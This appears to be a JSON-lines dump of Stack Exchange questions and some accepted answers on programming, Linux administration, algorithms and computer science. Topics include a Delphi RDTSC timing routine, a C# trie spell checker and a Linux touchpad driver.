(_a > _b) return -1;      if (_b > _a) return 1;      return 0;  }, function(keyword,data,arrayToFill) {      let hc = new HashCompactor(),          count = data.length;      for (let i=0; i < count; i++) {        hc.add(data[i]);      }      data = []; // used by .forEach() below      hc.sort(function(a,b) {          let _a = a.count, _b = b.count;          if (_a > _b) return -1;          if (_b > _a) return 1;          return 0;        }, function(keyword2,data2,arrayToFill2) {            // keyword2, data2, arrayToFill2 for readability, but scope protects them            arrayToFill2.push({                keyword: keyword2,                count: data2.length            });      }).forEach(function(e,i,l) {          // data [] from above          data.push(e.keyword +  ( + e.count + ));      });      arrayToFill.push({          keyword: keyword,          data: data,          count: count      });  });time = performance.now() - time;console.log( sort referrers:  + time);I first started talking about my algorithm back in the early 1990s, but geopolitical concerns have made bringing it to fruition among civilians that much more difficult. Here's the gist of the routine.HashCompactorLite(optional HashCompactorLite object OR Array of Strings) creates (a copy of) a HashCompactorLite object, or if an array is provided, .add() each item as a keyword..add(keyword,optional datum) returns an array of data. Multiple calls to the same keyword pushes the datum onto the array. Undefined datum works well for calculating word counts or simple comparisons against a list. The keyword can be either a String, a Number converted to a String (to take advantage of 1 being the most common number), or an array of String objects (such as names of modules)..count(optional show data count) return number of keywords or total data items if parameter is true, features object[keyword] doesn't offer..item(keyword) returns the keyword's data array, otherwise null..set(keyword,data,optional combine data) sets the keyword's data array, either overriding what may have existed, or combining to any existing data if true..forEach(callback,optional thisp) iterates through each keyword calling the callback function with the parameters (keyword,data) in the this context provided..sort(comparison function,optional preprocessor function,optional partial keyword, optional thisp) returns an array of keywords sorted after preprocessing HashCompactor data into an array for comparisons using the preprocessor parameteters (keyword,data,arrayToFill). If the partial keyword is 'a', for example, only the keywords beginning with 'a' will be returned..copy(HashCompactorLite object OR Array of keywords) deletes this HashCompactorLite and replaces it with a copy, or if an array of keywords is provided, .add() each one..clear() deletes internal objects created by HashCompactor.deleteKeyword(keyword) Removes keyword from HashCompactor. See .add() for keyword requirements.[Edit] I've been turned onto the Map() feature that flew in under my radar and internalized the character searches using it, but it didn't seem to speed up the WebLogHog stress test.I'm still dedicated to the read-once keyword searching, especially since I'm envisioning the six-foot-long keywords that is DNA. Having designed a real time MIDI-to-music staff notation spelling algorithm back in the early 1990s, I'm into reading data bit by bit. I'm just not up to speed with the world of software engineering."  , "title": "HashCompactor() keyword-value pair manager will become .hash()"  , "tags": "javascript;algorithm"  } 
{  "id": "_bioinformatics.982"  , "question": "I was wondering how I can calculate the charge of a protein peptide (e.g. RKTTLVPNTQTASPR) computationally in R or another tool."  , "title": "Calculating the charge of a peptide computationally"  , "tags": "r;proteins"  } 
{  "id": "_codereview.48553"  , "question": "Using names.txt (right click and 'Save Link/Target As...'), a 46K text file containing over five-thousand first names, begin by sorting it into alphabetical order. Then working out the alphabetical value for each name, multiply this value by its alphabetical position in the list to obtain a name score.For example, when the list is sorted into alphabetical order, COLIN, which is worth 3 + 15 + 12 + 9 + 14 = 53, is the 938th name in the list. So, COLIN would obtain a score of 938  53 = 49714.What is the total of all the name scores in the file?I'm relatively new to clojure, and this is what I came up with:(def names (sort (map (fn[x] (replace x #\\ )) (split (slurp /users/calvinfroedge/Downloads/names.txt) #,))))(loop [i 0 total 0]  (if (not= i (count names))    (recur (inc i) (+ total (* (inc i) (reduce + (map (fn[x] (- (int x) 64)) (nth names i))))))    total)I read somewhere that doseq is preferred to loop/recur, but it wasn't apparent to me how to comprehensibly AND idiomatically approach this problem without using an explicit loop with an incrementing value.Am I missing something?"  , "title": "More succinct / ideal solution to Project Euler #22"  , "tags": "clojure;programming challenge"  } 
{  "id": "_unix.105395"  , "question": "Some days ago I received a LDLC Iris FB2-I5-8-S2 notebook and installed Linux on it (Linux Mint 16 Cinnamon 32bit, Kernel 3.11.0-12-generic).Everything except the TouchPad works out of box (even the touch screen).I searched a lot but not found any solution. Its not a problem of having disabled the device using Fn+F*Here is some output from various commands:lsusb:Bus 001 Device 002: ID 8087:8000 Intel Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hubBus 002 Device 007: ID 2808:5001  Bus 002 Device 005: ID 294e:1001  Bus 002 Device 004: ID 1532:000d Razer USA, Ltd Bus 002 Device 003: ID 8087:07dc Intel Corp. Bus 002 Device 002: ID 0489:d616 Foxconn / Hon Hai Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hublspci:00:00.0 Host bridge: Intel Corporation Haswell-ULT DRAM Controller (rev 09)00:02.0 VGA compatible controller: Intel Corporation Haswell-ULT Integrated Graphics Controller (rev 09)00:03.0 Audio device: Intel Corporation Device 0a0c (rev 09)00:14.0 USB controller: Intel Corporation Lynx Point-LP USB xHCI HC (rev 04)00:16.0 Communication controller: Intel Corporation Lynx Point-LP HECI #0 (rev 04)00:1b.0 Audio device: Intel Corporation Lynx Point-LP HD Audio Controller (rev 04)00:1c.0 PCI bridge: Intel Corporation Lynx Point-LP PCI Express Root Port 1 (rev e4)00:1c.2 PCI bridge: Intel Corporation Lynx Point-LP PCI Express Root Port 3 (rev e4)00:1c.3 PCI bridge: Intel Corporation Lynx Point-LP PCI Express Root Port 4 (rev e4)00:1d.0 USB controller: Intel Corporation Lynx Point-LP USB EHCI #1 (rev 04)00:1f.0 ISA bridge: Intel Corporation Lynx Point-LP LPC Controller (rev 04)00:1f.2 SATA controller: Intel Corporation Lynx Point-LP SATA Controller 1 [AHCI mode] (rev 04)00:1f.3 SMBus: Intel Corporation Lynx Point-LP SMBus Controller (rev 04)02:00.0 Network controller: Intel Corporation Wireless 7260 (rev 73)03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTS5229 PCI Express Card Reader (rev 01)lsmodModule                  Size  Used byparport_pc             31981  0 ppdev                  17391  0 arc4                   12536  2 rfcomm                 53664  0 x86_pkg_temp_thermal    13810  0 coretemp               13195  0 bnep                   18893  2 kvm                   364766  0 crc32_pclmul           12967  0 aesni_intel            18156  1 aes_i586               16995  1 aesni_intelxts                    12749  1 aesni_intellrw                    13057  1 aesni_intelgf128mul               14503  2 lrw,xtsablk_helper            13357  1 aesni_intelcryptd                 15577  1 ablk_helperiwlmvm                149128  0 mac80211              513247  1 iwlmvmbinfmt_misc            13140  1 microcode              18830  0 snd_hda_codec_realtek    45473  1 snd_hda_codec_hdmi     40508  1 snd_seq_midi           13132  0 snd_seq_midi_event     14475  1 snd_seq_midisnd_rawmidi            25094  1 snd_seq_midirtsx_pci_ms            17807  0 iwlwifi               143578  1 iwlmvmserio_raw              13189  0 memstick               16008  1 rtsx_pci_mssnd_hda_intel          42658  5 snd_seq                55383  2 snd_seq_midi_event,snd_seq_midilpc_ich                16864  0 uvcvideo               71309  0 cfg80211              401436  3 iwlwifi,mac80211,iwlmvmsnd_hda_codec         164003  3 snd_hda_codec_realtek,snd_hda_codec_hdmi,snd_hda_intelvideobuf2_vmalloc      13048  1 uvcvideobtusb                  23443  0 videobuf2_memops       13170  1 videobuf2_vmallocsnd_hwdep              13272  1 snd_hda_codecmei_me                 13933  0 snd_pcm                89488  3 snd_hda_codec_hdmi,snd_hda_codec,snd_hda_intelvideobuf2_core         39125  1 uvcvideobluetooth             323534  12 bnep,btusb,rfcommvideodev              107508  2 uvcvideo,videobuf2_corejoydev                 17097  0 hid_multitouch         17191  0 snd_page_alloc         14230  2 snd_pcm,snd_hda_intelmei                    66411  1 mei_mesnd_seq_device         14137  3 snd_seq,snd_rawmidi,snd_seq_midisnd_timer              24447  2 snd_pcm,snd_seqsnd                    60790  21 snd_hda_codec_realtek,snd_hwdep,snd_timer,snd_hda_codec_hdmi,snd_pcm,snd_seq,snd_rawmidi,snd_hda_codec,snd_hda_intel,snd_seq_device,snd_seq_mididm_multipath           22402  0 scsi_dh                14458  1 dm_multipathsoundcore              12600  1 sndintel_smartconnect     12610  0 mac_hid                13037  0 lp                     13299  0 parport                40795  3 lp,ppdev,parport_pcdm_mirror              21715  0 dm_region_hash         15984  1 dm_mirrordm_log                 18072  2 dm_region_hash,dm_mirrorhid_generic            12492  0 usbhid                 47361  0 hid                    87192  3 hid_multitouch,hid_generic,usbhidi915                  589697  5 rtsx_pci_sdmmc         22898  0 i2c_algo_bit           13197  1 i915drm_kms_helper         46867  1 i915drm                   242354  4 i915,drm_kms_helperrtsx_pci               43458  2 rtsx_pci_ms,rtsx_pci_sdmmcahci                   25579  2 libahci                26554  1 ahciwmi                    18590  0 video                  18777  1 i915Output of xinput can be found in a Pastebin.Do you have an idea how to enable the touchpad?"  , "title": "Touchpad not detected"  , "tags": "linux;touchpad;xinput"  , "accepted_answer": "I wrote a Linux driver for this crappy device, it can be found here:https://github.com/daedric/cntouch_driverI've also submitted it for review and merge.Next time I buy a laptop from LDLC without OS (if that happens), I'll think twice...EDIT:There are only events for:click (or double tap with one finger, same event is generated);right click;horizontal wheel;vertical wheel.There is no event for a tap with two fingers (usually to simulate a right click)."  } 
{  "id": "_softwareengineering.156266"  , "question": "If I come across a non-critical typo in code (say, an errant apostrophe in a print(error) statement), is it worth making a commit to resolve that error, or should it simply be left alone?Specifically, I'm curious about weighing the gumming-up of the commit log against the value of resolving these non-critical typos. I'm leaning toward resolving them. Am I being pedantic?"  , "title": "Is it worth making a commit solely to resolve non-critical typos?"  , "tags": "version control;grammar"  , "accepted_answer": "My personal feeling is that improving quality is worth the minor inconvenience of an additional commit log entry, even for small improvements. After all, small improvements count a lot when you factor in the broken window effect.You might want to prefix it with a TRIVIAL: tag, or mark it as trivial if your VCS supports it."  } 
{  "id": "_codereview.116154"  , "question": "The Win32 API has a so-called 'high performance counter' (QueryPerformanceCounter() and friends) but often it is neither precise enough nor reliable enough, due to high jitter.The low resolution is no surprise since the value is often derived by shifting off the 10 low bits of the CPU's time stamp counter (TSC), after adding a value that reflects the cumulative sleep/hibernation time of the system. A good overview of the official story is given in the MSDN article Acquiring high-resolution time stamps.On many (most?) reasonably non-ancient systems the time stamp counter is global - shared by all logical CPUs in the processor package - which is how Windows can use it for timing purposes in the first place. This makes the RDTSC instruction even more attractive than it always has been, since it can now also be used for global timing measurements of longer duration - across time slices and across logical CPUs. For many purposes it's just as good as QueryPerformanceCounter() but a thousand times as precise.However, modern CPUs with their deep pipelines and out-of-order execution add another difficulty. By the time the TSC value is read out, some of the instructions preceding RDTSC may not have finished executing and/or some instructions that follow RDTSC may already have been executed. These vagaries introduce a lot of jitter when the TSC is used for timing code fragments. The CPUID instruction comes to the rescue here since it has a serialising effect on the execution of the instruction stream; it basically acts like a full barrier. When CPUID returns, all preceding instructions will have finished execution and none of the instructions following it will have begun execution. Its drawback is that it takes hundreds of cycles to execute and that its execution time is highly variable. That's no problem if CPUID is placed before the initial TSC measuremnt - before the code fragment to be timed - but it's a big problem for the second measurement, after the execution of the code fragment to be timed.This is where RDTSCP comes in. This instruction is available on most reasonably modern CPUs, and it forces the retirement of all instructions that precede it in the instruction stream (i.e. the instructions of the code fragment to be timed). A CPUID instruction can then be placed after the RDTSCP - where its own timing cannot add to the measured time - in order to keep subsequent instructions from jumping the queue.A good overview of various issues is in Performance measurements with RDTSC, including cache considerations and so on. The full story about precise measurements with RDTSC is in Intel's article How to Benchmark Code Execution Times on Intel IA-32 and IA-64 Instruction Set Architectures.Hence the timing of a code fragment can be done like this:t0 := RdTSC0;        // CPUID before RDTSCcode_to_be_timed;t1 := RdTSC1;        // CPUID after RDTSCPcycles := t1 - t0;Note: this applies only to measuring the cycles for code that can be bracketed as shown above, since RdTSC0 adds lots of cycles before the initial measurement and RdTSC1 adds lots of cycles after the second measurement.For flank-to-flank measurements of external events it is best to use plain RDTSCP without CPUID at the back. The reason is that the reading of the TSC must still be kept from occurring before the instruction that detects the external event (like the change of a shared memory location), which requires RDTSCP instead of plain RDTSC, but there is no place where a CPUID instruction can be stowed without its timing getting in the way.Hence, precise timing calls for three different functions that read the TSC: a pair RdTSC0 and RdTSC1 for bracketing code fragments, and RdTSCP for flank-to-flank measurements. Of course, there 's a ton of auxiliary functions that are necessary - like for setting thread affinity and priority, or even a humble Sleep(0) in the right places - but those won't be shown here.At long last, here's the code for the three TSC functions:type   TTicks64 = type Int64;  // signed, so that deltas can be represented cleanly///////////////////////////////////////////////////////////////////////////////////////////////////// CPUID implements a full barrier; it doesn't influence the timing as it is called before RDTSC.// Full story: ia-32-ia-64-benchmark-code-execution-paper.pdffunction RdTSC0: TTicks64;  // the 'before' tickasm{$ifdef CPUX64}         xor   rax, rax         push  rbx          // Delphi requires EBX/RBX to be preserved         cpuid              // full fence         pop   rbx         rdtsc         shl   rdx, 32         or    rax, rdx{$else}         xor   eax, eax         push  ebx         cpuid         pop   ebx         rdtsc{$endif}end;//--------------------------------------------------------------------------------------------------// RDTSCP implements a sort of read fence: it waits until all preceding instructions in the stream// have been executed but it doesn't keep later instruction from jumping the queue. That's why the// RDTSCP is bracketed by CPUID from behind.function RdTSC1: TTicks64;  // the 'after' tickasm{$ifdef CPUX64}   {$ifdef ZX_dont_use_RDTSCP}         rdtsc   {$else}         rdtscp   {$endif}         shl   rdx, 32         or    rdx, rax         xor   rax, rax         push  rbx         push  rdx         cpuid         pop   rax         pop   rbx{$else}   {$ifdef ZX_dont_use_RDTSCP}         rdtsc   {$else}         db    $0F, $01, $F9  // rdtscp; X2 understands the mnemonic for x64 but not for x86   {$endif}         push  eax         xor   eax, eax         push  edx         push  ebx         cpuid         pop   ebx         pop   edx         pop   eax{$endif}end;//-------------------------------------------------------------------------------------------------// for flank-to-flank measurementsfunction RdTSCP: TTicks64;asm{$ifdef CPUX64}   {$ifdef ZX_dont_use_RDTSCP}         rdtsc   {$else}         rdtscp   {$endif}         shl   rdx, 32         or    rax, rdx{$else}   {$ifdef ZX_dont_use_RDTSCP}         rdtsc   {$else}         db    $0F, $01, $F9  // rdtscp; X2 understands the mnemonic for x64 but not for x86   {$endif}{$endif}end;The ZX_dont_use_RDTSCP $define is there to allow compilation without RDTSCP. It makes the measurements less precise but it offers a quick and dirty way of compiling test programs for older CPUs, where the code with RDTSCP would bomb.Whether a given machine has a suitable TSC can be ascertained in two different ways.A quick and dirty manual way is tracing into QueryPerformanceCounter(); if that thing uses RDTSC then it's presumably okay to do so.Another way is to run a bit of test code on every logical CPU in parallel; each thread must be confined to its own logical CPU by setting thread affinity, and thread priority must be raised to the max to increase the likelihood of getting a clean test run without preemption. Glossing over a lot of details, the important bits of the test code look like this:constructor CTestThread.Create (mask_bit: DWORD_PTR);begin   inherited Create(true);   FreeOnTerminate := false;  // so that the calling code can read results   if SetThreadAffinityMask(Handle, mask_bit) = 0 then      zw_ThrowLastWin32Error('SetThreadAffinityMask');   if not SetThreadPriority(Handle, THREAD_PRIORITY_TIME_CRITICAL) then      zw_ThrowLastWin32Error('SetThreadPriority');end;//-------------------------------------------------------------------------------------------------procedure CTestThread.Execute;begin   t0.measure;   g_start_event.WaitFor;   t1.measure;   if InterlockedDecrement(g_sleeping) = 0 then      m_woken_last := true   else      while g_sleeping <> 0 do         ;   t2.measure;end;g_sleeping is initialised to the number of threads (logical CPUs) by the thread that initialises the whole shebang, before it rings in the fun by setting the global g_start_event. This event is intended to offer rough synchronisation between threads, before they start precise synchronisation by spinning on the g_sleeping. This reduces the time during which the system is unresponsive.Each thread gets a different bit from the 1-bits found in the affinity mask of the process. t0 etc. are timers that are member variables of the test threads.Sample output on my notebook:mask         t0               t1        t1-min(t1)         t2        t2-min(t2)-------------------------------------------------------------------------------0001: 000000003905436A 00000000390CE1E7          0  000000003910B14D         690002: 000000003907DA4B 00000000390CEBC7       2528  000000003910B14B         670004: 0000000039095559 00000000390DA98E      51111  000000003910B12E         380008: 00000000390CAC0E 00000000390DA960      51065  000000003910B143         590010: 00000000390E1E4D 00000000390E292A      83779  000000003910B12D         370020: 00000000390F0F2F 00000000390F1826     144959  000000003910B149         650040: 0000000039101DF6 0000000039102965     214910  000000003910B139         490080: 000000003910A73C 000000003910AF25     249150  000000003910B108 *        0Obviously, the thread that is the last to decrement g_sleeping (i.e. m_woken_last == true, marked with a star) will be the only one that can make it to the t2 measurement without delay. The other threads have to wait for the memory change go propagate through their cache hierarchies.Still, it can be seen that spinning on a global variable manages to synchronise all threads to within about 50 cycles of each other (column t2-min(t2)). Contrast this to synchronising via a Win32 event where eons can pass between the different threads being released.I'd be most grateful for reviews of the three TSC functions (superfluous instructions, missing instructions, non-optimal instruction order) and insights regarding the methodology - especially potential weak points.Please bear in mind that the code is intended to be run on the developer's machine and selected test systems, which means that things like automatic selection of appropriate code paths for different CPU architectures and so on are basically irrelevant. Also, the code is not intended to replace functions like QueryPerformanceCounter(), which still serves the bulk of my timing needs. It is intended for cases where the TSC is most appropriate."  , "title": "Precise timings with low jitter via RDTSC (for x86 and x64)"  , "tags": "performance;timer;delphi"  } 
{  "id": "_unix.271739"  , "question": "I had a computer with a windows 7 and I installed lubuntu 14.04 on another partition (I think I shrinked the windows NTFS partition first).I installed lubuntu this way:-> NTFS boot-> NTFS windows 7-> extended partition   -> / (ext4)   -> /home (ext4)   -> MAYBE there was a data partition in ext4 (I don't remember, not my computer)   -> swapAfter installation, when you booted on windows (in GRUB), it didn't work and it kept rebooting each time.Today I decided to reinstall windows 7 so here is what I did:I launched on lubuntu, installed gparted and removed both Windowspartition.I made one big NTFS partition with the intention to install windows 7 on it.I installed windows 7It erased my / and /home partitions (but they aren'treformatted)I don't even know why it did so, maybe because I should have kept the windows partition unformatted and the boot partition created erased linux. Seriously, I'm very surprised.So now, here are two questions:I) How can I retrieve all the data from /home ? I suppose it's not removed for now since I didn't write anything on these partitions as of now.II) What caused this accident?"  , "title": "Retrieve data from erased home partition while installing win7"  , "tags": "ubuntu;partition;dual boot;data recovery;ext4"  } 
{  "id": "_cs.6977"  , "question": "I'm reading a book about computer network theory, and one topic is discusses is routing algorithms.  It only mentions (probably not intentionally) how routers participate in forming the understood network topology stored in each routers memory - the routing tables. So this brings me to my question, do Host acts like dedicated routers in this case and participate in and become part of that understood topology of the network in nearby routers?For example, it says that routers communicate with each other to form their routing tables to find the best path. Do hosts as end user machines find themselves in this routing table (as an entry in dedicated router, routing tables) or routing topology?  Do they participate in forming it?Likewise do Computer Hosts, have entries for nearby dedicate routers in their routing tables? I'm trying to find the relation ship between a router and a host in the this process.The issue I'm having, is if they don't participate in this process, how do the routers not where the end user machines are in the topology?Thanks :-)"  , "title": "Routing Algorithms and Hosts"  , "tags": "computer networks"  , "accepted_answer": "I believe you are talking about the Internet and the IP. Here are answers of your questions: First note the internet is a network of networks. Networks communicate with each other through routers. These big networks are like the ISP, your university or a big organization. Your computer belong to a small network in your ISP subnetwork. This small network is probably your WiFi switch and your computer. Do hosts find themselves in the routing tables ? NO, but from the IP address of the host and its subnetwork, a router can tell whether they belong to the same subnetwork or not. If they do belong, then there is no need to route the message to another router. The message is simple sent down the subnetwork. You have to study in this case the BGP protocol and the structure of IP. Your host got nothing to do with routing. The ISP takes care of all that. or your cellular company if you are using your mobile phone .. or etc .. It would be hugely complicated to let these terminals take care of that. Again, you must have a look on the IP structure. If you try to send a message to X, then your router will look at X (which has an address probably similar to 122.23.12.11 or whatever !) from the upper digits, the router (which is your ISP router in this case) will know which neighbor router to send it to. In general, Internet routing is greedy. How a router selects its neighbors ? [that's another topic]One advice: dont look to the Internet from a pure theoretical point-of-view.I guess I answered your question ?  "  } 
{  "id": "_cs.75073"  , "question": "On my research I came across the following problem.Given a weighted graph $G = (V, E, w)$ and four nodes $s_1, t_1, s_2, t_2$ find the minimum number of edges that need to be deleted from $G$ so that the set of shortest paths from $s_1$ to $t_1$ and the set of shortest paths from $s_2$ to $t_2$ have at least one edge in common.I have been trying to prove that this problem is NP-hard but I was not able to come up with anything. Does anyone have any idea? "  , "title": "Minimum edges to delete to make shortest paths intersect"  , "tags": "np hard;shortest path"  } 
{  "id": "_unix.384990"  , "question": "I'm facing a really frustrating problem on this specific server, every time I press ctrl+c, I logout from the root sessionRunning CentOS Linux release 7.3.1611 & Bash (4.2.46-21.el7_3.x86_64)[root@server ~]# uname -a  Linux server 3.10.0-514.16.1.el7.x86_64 #1 SMP Wed Apr 12 15:04:24 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux  [root@server ~]# ^C   [root@server ~]# logout[user@server ~]$   "  , "title": "Control-C triggers logout from root in bash"  , "tags": "linux;bash;centos;root"  } 
{  "id": "_unix.252244"  , "question": "I'm running an Ubuntu 12.04 VM and trying to convert an rpm file to a deb file.  When I run sudo alien --to-deb --scripts oracle-xe-11.2.0-1.0.x86_64.rpm I get this error dpkg-deb: error: control directory has bad permissions 777 (must be=0755 and <=0775)I tried sudo chmod 0755 oracle-xe-11.2.0-1.0.x86_64.rpm and sudo chmod -R 0755 on the directory containing the file and still get the error. What is the control directory?UpdateSorry for not realizing this before I am getting this error before the control directory error. dpkg-shlibdeps: warning: /usr/lib/x86_64-linux-gnu/libXm.so.3 has an unexpected SONAME (libXm.so.4) dpkg-shlibdeps: error: no dependency information found for /usr/lib/x86_64-linux-gnu/libXm.so.3I ran sudo apt-file search libXm.so.3 and it returned libmotif4: /usr/lib/x86_64-linux-gnu/libXm.so.3 so I downloaded libmotif4 and still got the error and then downloaded libmotif3 as well and got the error.  I ran sudo alien -g my.rpm and that generated oracle-xe-11.2.0 and oracle-xe-11.2.0.orig directories.  I ran sudo chmod -R 0755 oracle-xe-11.2.0 and then ran debian/rules binary to generate the errors described above."  , "title": "dpkg-deb: error: control directory has bad permissions"  , "tags": "ubuntu;dpkg;deb;alien"  } 
{  "id": "_cstheory.25338"  , "question": "A flow network is a directed graph in which each edge has a capacity. A flow through this network is an assignment of a value to each edge that is less or equal to the edge capacity, and such that the net incoming flow to every node balances with the net outcoming flux at that node. Two special nodes are exempted from this last restriction: the source (which can output a net non-zero flux) and the sink (which can receive a net non-zero flux).There are algorithms to find the maximum net flow from source to sink in such a network (for example, Ford-Fulkerson algorithm).I am looking for algorithms that generate pseudo-random admissible flows through such a network. Hopefully the space of admissible flows should be sampled as uniformly as possible. What methods are available here?"  , "title": "Random flows through fixed network"  , "tags": "pseudorandom generators;flow problems"  } 
{  "id": "_codereview.146167"  , "question": "This is a classic problem with a classic solution and I've seen it a number of times on this site, but I wanted to know what people thought of this C# implementation, as opposed to the numerous C implementations.Below you'll find the source code, the output of the code and then a link to repl.it, so you can run the code in your browser.Source codeusing System;using System.Collections.Generic;using System.Linq;class MainClass {    // An array of valid words. Would normally contain way more words.    private static string[] dictArray = new string[] {        trainee,        train    };    public static void Main (string[] args) {        Node dictTrie = CreateDictTrie(dictArray);        Console.WriteLine(IsWord(Train, dictTrie)); // True        Console.WriteLine(IsWord(Traine, dictTrie)); // False        Console.WriteLine(IsWord(Trainee, dictTrie)); // True    }    // Create the trie to use for spell checking, based on an array of valid words.    private static Node CreateDictTrie(string[] dictArray) {        Node root = new Node();        for (int i = 0; i < dictArray.Length; i++) {            string word = dictArray[i];            Node node = root;            for (int j = 0; j < word.Length; j++) {                char character = word[j];                if (!node.Children.ContainsKey(character)) {                    node.Children[character] = new Node();                }                node = node.Children[character];            }            node.IsWord = true;        }        return root;    }    // Check whether a string is a valid word.    private static bool IsWord(string word, Node dictTrie) {        word = word.ToLower();        Node node = dictTrie;        for (int i = 0; i < word.Length; i++) {            char character = word[i];            if (!node.Children.ContainsKey(character)) {                return false;            }            node = node.Children[character];        }        return node.IsWord;    }}// Class used for the trie structure.public class Node {    public bool IsWord;    public Dictionary<char, Node> Children { get; set; }    public Node() {        Children = new Dictionary<char, Node>();    }}OutputTrueFalseTrueRepl.it linkhttps://repl.it/EOlt/14I tried to make the code pretty readable, so if you wanted to really optimize the code, you could probably remove a few of the variable declarations and so on. But other than that, are there any overall performance problems with my approach? Anything else you think I could have done better? Feedback is much appreciated. Thanks!Edit: I updated the code to use arrays and for loops instead of Lists and foreach loops, which should improve the performance a bit."  , "title": "Trie-based spell checker"  , "tags": "c#;trie"  , "accepted_answer": "The trie creation could by very pretty if you made it an extension then can call it on the array:var trie = new string[] {    trainee,    train,    tree}.ToTrie();The method itself can be simplified. You can use foreach to get rid of the indexes (unless performance really, really, really matters).Sometimes it's also prettier to use the TryGetValue + else where you can assign all values in a single line to avoid duplication like:    currentNode.Children[character] = new Node();     }currentNode = currentNode.Children[character];To my taste it doesn't look nice. Instead I suggest this where I also use currentNode instead of just node which I find is easier to understand.public static Node ToTrie(this string[] values){    var root = new Node();    foreach (var value in values)    {        var currentNode = root;        foreach (var c in value)        {            var node = (Node)null;            if (currentNode.TryGetValue(c.ToString(), out node))            {                currentNode = node;            }            else            {                currentNode = (currentNode[c.ToString()] = new Node());            }        }        currentNode.IsWord = true;    }    return root;}The Node can actually be simplified too by deriving it from a dictionary. By adding the search method to it you can easily use it on any node. I named it Contains.Another adjustment you can make is to use string instead of the char so you can use one of the construtor overloads of the dictionary and make it case insensitive. This way you won't need the ToLower.public class Node : Dictionary<string, Node>{    public Node() : base(StringComparer.OrdinalIgnoreCase) {}    public bool IsWord { get; set; }    public bool Contains(string value)    {        var currentNode = this;        foreach (var c in value)        {            var node = (Node)null;            if (currentNode.TryGetValue(c.ToString(), out node))            {                currentNode = node;            }            else            {                return false;            }        }        return currentNode.IsWord;    }}Usage:var result1 = trie.Contains(train); // Truevar result2 = trie.Contains(TraINE); // Falsevar result3 = trie.Contains(TRAINEE); // True"  } 
{  "id": "_cs.66410"  , "question": "I am trying to create an algorithm for a Distributed Systems and Algorithms lecture. It is to control flows between a producer and a consumer. I want to understand how to manage the indices of insertion and extraction to the consumer buffer.Let be two computers $P$, the producer, $C$ the consumer, such that the producer sends messages to the consumer through an unidirectional channel. When the application layer of $P$ wants to send a message, it calls produire(m), where $m$ is an argument of a message. When the application layer of the consumer wants to receive a message of the producer, it calls consume(m) where $m$ is by reference.To solve the asynchronysmof sites $P$ and $C$, a solution is to subjugate procution to emission. For each message sent, this one consume an authorization. On the other hand, the consuumer sends an authorization at the end of each calls to consume(m). It goes without saying that consumer consumes if is buffer isn't empty.Variablestwo variables of controlNbmess the consumer variable showing the number of messages in thebufferNbcell the number of authorizations.On the other hand, the buffer managment leads to create the following variables :T the buffer of size N containing the messages to consumein the indice of insertionout, the indice of retrievalAlgorithmproduce(m)Begin    Wait(Nbcell>0)    send_to(C,m);    Nbcell = Nbcell -1;Endon_reception_of(C,Ack)Begin    Nbcell = Nbcell +1;EndAnd for the consumer :consume(m)Begin    Wait(Nbmess>0)        m = T[out];        out = (out+1)%N;        Nbmess = Nbmess -1;        send_to(P,Ack);Endon_reception_of(P,m)Begin    T[in]=m;    in = (in+1)%N;    Nbmess = Nbmess + 1;EndMy questionI don't understand the indices of extraction :in = (in+1)%N;out = (out+1)%N;How does the buffer doesn't explodes?The given proof is that we always have an equality Nbmess + NbCell + Nbt = N with Nbt the number of messages in transit?When we call produce, NbCell decreases and Nbt increase. When we call consume, Nbmess decrease and Nbt increaseWhen receiving a message, Nbmess increases and Nbt decreases.When receiving an ack, Nbcell increases and Nbt decreasesBut does it implies that in = (in+1)%N;out = (out+1)%N;My first guess was to construct an array with a so huge size that it would never explodes such asproduce(m)Begin    Wait(NbCell>0)    T[in]=m;    NbCell--;    in++;Endconsume(m)Begin    Wait(Nbmess>0)    m=T[out]    out++;    NbCell++End"  , "title": "Managing the buffer size of point-to-point producer consumer distributed algorithm"  , "tags": "distributed systems"  } 
{  "id": "_unix.176168"  , "question": "From the book Linux Administration Made Easy:When deciding on a backup solution, you will need to consider the  following factors:Portability  Is backup portability (ie. the ability to backup on one Linux distribution or implementation of Unix and restore to  another; for example from Solaris to Red Hat Linux) important to you?  If so, you'll probably want to choose one of the commandline tools  (eg. dd, dump, cpio, or tar), because you can be reasonably  sure that such tools will be available on any *nix system.What does backup on one Linux distribution or implementation ofUnix and restore to another mean? Is it to backup a Linux systemand then restore it later? Then what does it mean by restore toanother?Remote backups  Is the ability to start backups and restores from a remote machine important to you? If so, you'll probably want  to  choose one of the commandline tools or textbased utilities instead  of the GUIbased utilities (unless you have a reasonably fast network  connection and the ability to run remote X sessions).Network backups  Is performing backups and restores to and from networked hosts important to you? If so, you'll probably want  to use  one of several of the commandline utilities (such as tar) which  support network access to backup devices, or a specialized utility  such as Amanda or one of several commercial utilities.It seems that remote backup and network backup are the same. Whatare their differences?"  , "title": "What are portability of backup, remote backup and networked backup mean?"  , "tags": "backup"  } 
{  "id": "_softwareengineering.319218"  , "question": "I have been learning algorithms and trying to solve problems and now I have the following problem:In a 4x4 matrix, and it contains fields with height. There is a start field with given height also the maximum height a field can have. To be able to traverse from on field to another the height of the current field must be higher or equal to the field we want to go.There are also unmarked fields with no height assigned to them, meaning we can change it.The goal is to traverse all the fields with given height by changing the height of the unmarked fields ?. For a solution to count as valid all given ? have to have an assigned height.I think this will need brute-forcing all the possible combinations of the ? fields.Example: 2 2xx*xx1?1x?1xxxxxThe minimum height a field can have is 0. The first digit represents the height of the * and the second, the maximum height a field can have. So the * represents the start point and has height 2 (for this case we have 2 as maximum height), from there we need to go to the other fields with numbers, by changing the value of the ? fields. We need to find how many variations are valid.In this case there are : 6. Because the ? on 3rd row does not matter if it gets traversed or not so here are the solutions:xx*x      xx*x      xx*x      xx*x     xx*x      xx*x     x121      x121      x121      x111     x111      x111x21x      x11x      x01x      x21x     x11x      x01x xxxx      xxxx      xxxx      xxxx     xxxx      xxxx     The nodes that matter have been traversed in both cases. We use Breadth First search to traverse all the nodes. The ? in the 3rd row is not traversed in some of the cases because this field is not in the group of the target fields and its height does not affect reaching any of the target fields."  , "title": "How to implement backtracking to check if all fields have been traversed"  , "tags": "algorithms"  } 
